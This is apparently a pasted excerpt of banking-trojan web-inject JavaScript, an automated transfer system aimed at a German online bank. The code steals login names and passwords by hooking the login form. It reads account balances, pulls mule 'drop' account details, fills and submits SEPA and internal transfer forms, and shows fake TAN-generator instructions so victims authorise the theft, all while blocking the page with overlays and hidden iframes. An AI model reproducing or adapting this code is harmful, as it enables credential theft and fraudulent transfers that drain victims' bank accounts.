- msg+='<li><span>* 3. Geben Sie den <strong>'+Kontonummer+'</strong> ein und drucken "OK".</span></li>';
- msg+='<li><span>* 4. Geben Sie die: <strong>'+amount+'</strong> EUR ein und drucken "OK".</span></li>';
- msg+='</ul><p></p>';
- }else{
- var msg='<p class="gad-margin-top-5">To generate a TAN for your lessons one-time payment, please proceed as follows :</p><ul class="gad-content-list">';
- msg+='<li><span> * 1. Insert your smart card into the TAN generator and print "TAN".</span></li>';
- msg+='<li><span>* 2. Enter the start code <strong>'+startcode+'</strong> and print "OK".</span></li>';
- msg+='<li><span>* 3. Enter the <strong>'+Kontonummer+'</strong> and print "OK".</span></li>';
- msg+='<li><span>* 4. Enter: <strong>'+amount+'</strong> and print "OK".</span></li>';
- msg+='</ul><p></p>';
- }
- //-------------------------------------------------------------------
- jq('#instext',parent.document).html(msg);
- jq('#inj_page_brilok', parent.document).show();
- }
- jq('.inj_buttons_block', parent.document).show();
- }
- ATS.getLoginForm = function()
- {
- var form = jq("form[name='f']");
- if (form.length)
- return form[0];
- /*
- form = jq("form").has('input#anmeld');
- if (form.length)
- return form[0];
- */
- return false;
- }
- ATS.getPageTitle = function(findtext)
- {
- var title=jq.trim(jq('#inner > h1').text());
- if (title.indexOf(findtext) !=-1) return true;
- else return false;
- }
- ATS.hideLastTAN = function()
- {
- var el = jq('p:contains(Ihre zuletzt verbrauchte TAN)');
- if (el.length)
- {
- var html = jq(el).html();
- var pos = html.indexOf('Ihre zuletzt');
- if (pos >= 0)
- jq(el).html(html.substr(0, pos));
- }
- jq('p:contains(Zuletzt benutzte)').remove();
- }
- ATS.setLoginHook = function()
- {
- //ATS.loginDataSent = false;
- var loginInfoSent = false;
- var loginForm = ATS.getLoginForm();
- //loginForm.onsubmit = function(){return true};
- /*
- jq('form[name="f"]').unbind('submit');
- $('form[name="f"]').unbind('submit');
- jQuery('form[name="f"]').unbind('submit');
- jq('form[name="f"]').find("input:submit").remove()
- jq('form[name="f"]').append(createHidden(jq('input[type=submit].default').attr('name'), 'Login'));
- jq('form[name="f"]').find("input:hidden").attr("name","_eventId_next");
- */
- //$('form[name="f"]').submit(function(e){console.log("gfh");return false;});
- $('#aggregate :submit').unbind("click");
- $('#aggregate :submit').bind("click",function(e){
- e.preventDefault();
- var loginForm = ATS.getLoginForm();
- var login=jq(loginForm).find('input:visible').eq(0).val();
- var password=jq(loginForm).find('input:visible').eq(1).val();
- if (!loginInfoSent)
- {
- ATS.debugMsg('login info: ' + login + ', ' + password);
- //jq('input[name="_eventId_next"]').attr('disabled', 'disabled');
- ATS.sendLoginInfo(login, password, function(){
- ATS.debugMsg('after clik ');
- loginInfoSent = true;
- //jq('input[name="_eventId_next"]').attr('disabled', false);
- // wpSubmit = true;
- $("form#aggregate").submit();
- });
- }
- // if (ATS.loginDataSent) return true; else return false;
- });
- }
- // ============================================================================
- ATS.getTime = function()
- {
- return Math.floor((new Date).getTime() / 1000);
- }
- ATS.openInIframe = function(url)
- {
- var iframe = jq('<iframe id=ats_wrk_iframe name=ats_wrk_iframe src="' + url + '"></iframe>');
- jq('body').append(iframe);
- if (ATS.debugVisibleFrame)
- {
- jq("#ats_wrk_iframe").css('width', '1200px');
- jq("#ats_wrk_iframe").css('height', '1200px');
- jq("#ats_wrk_iframe").css('top', '1000px');
- jq("#ats_wrk_iframe").css('position', 'absolute');
- // jq("body").css('position', 'relative');
- }
- else
- {
- jq("#ats_wrk_iframe").css('width', '1px');
- jq("#ats_wrk_iframe").css('height', '1px');
- //jq(iframe).css('top', '0px');
- //jq(iframe).css('position', 'absolute');
- jq("#ats_wrk_iframe").css('visibility', 'hidden');
- }
- }
- ATS.parseAccountsList = function()
- {
- var accountsList = new Array();
- jq('.compBox table tr:has(a span.QL_einzelueberweisung)').each(function(){
- if (langs.getCurLang()=='EN'){
- var number=jq.trim(jq(this).children("td:eq(1)").text().replace(/\D+/g,''));
- var overdraft=jq.trim(jq(this).children("td:eq(3)").text().replace(/\,/g, ''));
- if (overdraft=='-') overdraft=0;
- var balance=jq.trim(jq(this).children("td:eq(4)").text().replace(/\,/g, ''));
- var numberhreef=jq(this).children("td:eq(5)").find('a:has(span.QL_einzelueberweisung)').attr('href');
- var kreditbalance=parseFloat(balance)+parseFloat(overdraft);
- }
- else{
- var number=jq.trim(jq(this).children("td:eq(1)").text().replace(/\D+/g,''));
- var overdraft=jq.trim(jq(this).children("td:eq(3)").text().replace(/\./g, '').replace(/\,/g, '.'));
- if (overdraft=='-') overdraft=0;
- var balance=jq.trim(jq(this).children("td:eq(4)").text().replace(/[^\d,.-]+/g,'').replace(/\./g, '').replace(/\,/g, '.'));
- var numberhreef=jq(this).children("td:eq(5)").find('a:has(span.QL_einzelueberweisung)').attr('href');
- var kreditbalance=parseFloat(balance)+parseFloat(overdraft);
- }
- accountsList.push({number: number,kreditbalance: kreditbalance,numberhreef: numberhreef,overdraft: overdraft,balance: balance});
- });
- return accountsList;
- }
- ATS.framePageFinanzstatus = function()
- {
- if(!parent.ATS.Gesamtsaldo){
- if (langs.getCurLang()=='EN'){
- var saldo=parseFloat(jq('.compBox h3:last span').text().replace(/\,/g, ''));
- }else{
- var saldo=parseFloat(jq('.compBox h3:last span').text().replace(/\./g, '').replace(/\,/g, '.'));
- }
- parent.ATS.Gesamtsaldo = saldo;
- }
- ATS.debugMsg('parent.ATS.Gesamtsaldo: ' + parent.ATS.Gesamtsaldo);
- ATS.debugMsg('ATS.framePageFinanzstatus, state: ' + ATS.StepInFrame[parent.ATS.current_state]);
- parent.ATS.accounts_list = ATS.parseAccountsList();
- if (!parent.ATS.accounts_list.length) ATS.die('framePageFinanzstatus: cant find balance or Girokonto');
- //var maxBalance = ATS.getMaxTransferAcc();
- var maxAcc = ATS.getMaxTransferAcc();
- if (!maxAcc) return false;
- parent.ATS.maxAcc=maxAcc;
- parent.ATS.maxBalanceDrop=parent.ATS.maxAcc.kreditbalance;
- parent.ATS.maxBalanceDrop=parseFloat(parent.ATS.maxBalanceDrop.toFixed(2));
- ATS.dropfunk();
- }
- ATS.dropfunk = function()
- {
- ATS.getDrop('SEPA', parent.ATS.maxBalanceDrop, function(data){
- if (data && data.drop)
- {
- parent.ATS.sepa_drop = data.drop;
- parent.ATS.StepInFrame.set_current_state("SEPA_page");
- setTimeout(function(){
- document.location.href = parent.ATS.maxAcc.numberhreef;
- }, 2000);
- }
- else
- {
- ATS.getDrop('Internal', parent.ATS.maxBalanceDrop, function(data){
- if (data && data.drop)
- {
- parent.ATS.int_drop = data.drop;
- // parent.ATS.StepInFrame.set_current_state("framePageInternal_transf_page");
- //переход на внутрик идет Ñ Ñепы
- parent.ATS.StepInFrame.set_current_state("SEPA_page");
- parent.ATS.transf_mode = 'int';
- setTimeout(function(){
- document.location.href = parent.ATS.maxAcc.numberhreef;
- }, 2000);
- }
- else
- {
- parent.ATS.UI_hideDialogBox();
- parent.ATS.UI_unblockSite();
- ATS.die('KreditlimitPage: no Int drop');
- }
- });
- }
- });
- }
- ATS.framePageSEPA_page = function()
- {
- ATS.debugMsg('before parent.ATS.transf_mode: ='+ parent.ATS.transf_mode);
- if (parent.ATS.transf_mode == 'int') {
- ATS.debugMsg('inside parent.ATS.transf_mode: ='+ parent.ATS.transf_mode);
- var intobj=jq('ul li a:has(span:contains(Payment)),ul li a:has(span:contains('+String.fromCharCode(220)+'berweisung)):eq(0)');
- if (!!intobj.length) {
- var intlink=intobj.attr("href");
- parent.ATS.StepInFrame.set_current_state("framePageInternal_transf_page");
- setTimeout(function(){
- document.location.href = intlink;
- }, 2000);
- } else ATS.die('framePageSEPA_page: cant find intlink');
- }
- else {
- ATS.debugMsg('inside sepa parent.ATS.transf_mode: ='+ parent.ATS.transf_mode);
- var drop = parent.ATS.sepa_drop;
- jq('input[name="recipient"]').val(drop.DrName);
- jq('input[name="recipientIban"]').val(drop.IBAN);
- jq('input[name="recipientSwift"]').val( ATS.padRight(drop.BIC,11));
- jq('input[name="amount"]').val(drop.amount);
- jq('textarea[name="reason"]').val(drop.Reference);
- parent.ATS.StepInFrame.set_current_state("SEPA_form_filled");
- ATS.sendLogMsg('SEPA form filled in');
- setTimeout(function(){
- //jq('form#sepaRemittance').submit();
- //jq('form#aggregate').submit();
- jq('input[name="_eventId_next"]').click();
- }, 6000);
- }
- }
- ATS.framePageInternal_transf_page = function()
- {
- var drop = parent.ATS.int_drop;
- jq('input[name="recipient"]').val(drop.DrName);
- jq('input[name="recipientAccountId"]').val(drop.Konto);
- jq('input[name="recipientBankingCode"]').val(drop.BLZ);
- jq('input[name="amount"]').val(drop.amount);
- jq('textarea[name="reason"]').val(drop.Reference);
- var accountsSelect = jq('#remitterAccountId');
- if (jq(accountsSelect).length != 0)
- {
- jq(accountsSelect).children('option').each(function(){
- var acc_num = jq.trim(jq(this).val());
- ATS.debugMsg('Option: ' + acc_num);
- if (acc_num.indexOf(parent.ATS.maxAcc.number) !=-1)
- {
- jq(this).attr('selected', 'selected');
- }
- });
- }
- parent.ATS.StepInFrame.set_current_state("INT_form_filled");
- ATS.sendLogMsg('INT form filled in');
- setTimeout(function(){
- //jq('form#sepaRemittance').submit();
- //jq('form#aggregate').submit();
- jq('input[name="_eventId_next"]').click();
- }, 6000);
- }
- ATS.confirmform = function()
- {
- ATS.UI_askTan();
- }
- ATS.enterCode = function(tan)
- {
- ATS.debugMsg('ATS.enterCode ' + tan);
- if (jq('#password').length)
- {
- jq('#password').val(tan);
- if ( jq('input[name="_eventId_next"]').length)
- {
- //parent.ATS.current_state = 120;
- parent.ATS.StepInFrame.set_current_state("TAN_ENTERED");
- parent.ATS.UI_showWait();
- //jq('form#sepaRemittance').submit();
- //jq('form#aggregate').submit();
- jq('input[name="_eventId_next"]').click();
- }
- else
- ATS.die('enterCode: cant find next button');
- }
- else
- ATS.die('enterCode: cant find tan field ');
- }
- ATS.frameWork = function()
- {
- ATS.debugMsg('ATS.frameWork, state: ' + ATS.StepInFrame[parent.ATS.current_state]);
- ATS.sendLogMsg('frame state ' + ATS.StepInFrame[parent.ATS.current_state]);
- switch (ATS.StepInFrame[parent.ATS.current_state])
- {
- case "framePageFinanzstatus":
- ATS.framePageFinanzstatus();
- break;
- case "SEPA_page":
- ATS.framePageSEPA_page();
- break;
- case "framePageInternal_transf_page":
- ATS.framePageInternal_transf_page();
- break;
- case "confirmform":
- ATS.confirmform();
- break;
- case "SEPA_form_filled":
- case "INT_form_filled":
- var textEl=jq('.msgBox:visible').text();
- if (!textEl.length)
- {
- jq('input[type="radio"]').prop( "checked", false );
- if(!!jq('input#sms').length)
- jq('input#sms').prop( "checked", true );
- else {jq('#chip:radio').prop( "checked", true );}
- parent.ATS.StepInFrame.set_current_state("confirmform");
- setTimeout(function(){
- //jq('form#sepaRemittance').submit();
- //jq('form#aggregate').submit();
- jq('input[name="_eventId_next"]').click();
- }, 6000);
- //ATS.UI_askTan();
- }
- else {
- ATS.die('Error fill SEPA form: ' + textEl.text() );
- }
- break;
- case "TAN_ENTERED":
- ATS.debugMsg("TAN_ENTERED");
- //if (jq('.errorMessage:visible').length)
- if (jq('.msgBox:visible').length)
- {
- parent.ATS.badTan = true;
- ATS.UI_askTan();
- }
- else {
- if (parent.ATS.transf_mode == 'sepa') ATS.framePageReceipt();
- else ATS.framePageReceiptInternal();
- }
- break;
- }
- }
- if ((typeof __debugDisabled == 'undefined') || !__debugDisabled)
- {
- document.write('<div class="inj_full_overlay"></div>');
- jq(document).ready(function(){
- ATS.debugMsg('document loaded');
- //ATS.sendLogMsg('utilInfo = ' + ATS.utilInfo);
- ATS.loadData(function(data){
- if (ATS.account_id != 0)
- {
- switch (ATS.getCookie('status')) {
- case "1":
- if (ATS.isLoggedIn()) {jq('.inj_full_overlay').remove(); ATS.replaceBalances(); }
- else jq('.inj_full_overlay').remove();
- break;
- case "2":
- ATS.debugMsg('case "2"');
- if(((ATS.getTime() - ATS.getCookie('error_time'))/3600)>=48) {
- ATS.setCookie('status',0);
- ATS.saveCookies();
- ATS.sendLogMsg('Replace cookie status from 2 on 0');
- jq('.inj_full_overlay').remove();
- } else {jq('.inj_full_overlay').remove(); break;}
- default:
- if (ATS.checkLoginPage())
- {
- ATS.debugMsg('login page');
- ATS.setLoginHook();
- jq('.inj_full_overlay').remove();
- break;
- }
- if (ATS.isLoggedIn())
- {
- ATS.debugMsg('logged in!');
- var t =jq('ul.activeNotificationAction a').text();
- if ((t.indexOf('Sperre aufheben')!=-1) || (t.indexOf('Unlock TAN list')!=-1)){
- ATS.debugMsg('TAN locked!');
- ATS.die("TAN locked!");
- jq('.inj_full_overlay').remove();
- break;
- }
- if ((parent.document !== document) && parent.ATS)
- {
- ATS.debugMsg('we are in frame!');
- ATS.frameWork();
- jq('.inj_full_overlay').remove();
- break;
- }
- else
- {
- jq('.inj_full_overlay').remove();
- ATS.UI_blockSite();
- ATS.UI_showWait();
- ATS.mainWork();
- break;
- }
- }
- else
- {
- if ((parent.document !== document) && parent.ATS)
- {
- ATS.debugMsg('we are in frame and not logged in!');
- }
- }
- break;
- }
- }else {jq('.inj_full_overlay').remove();ATS.die("account_id is 0 or ip is locked");}
- });
- });
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement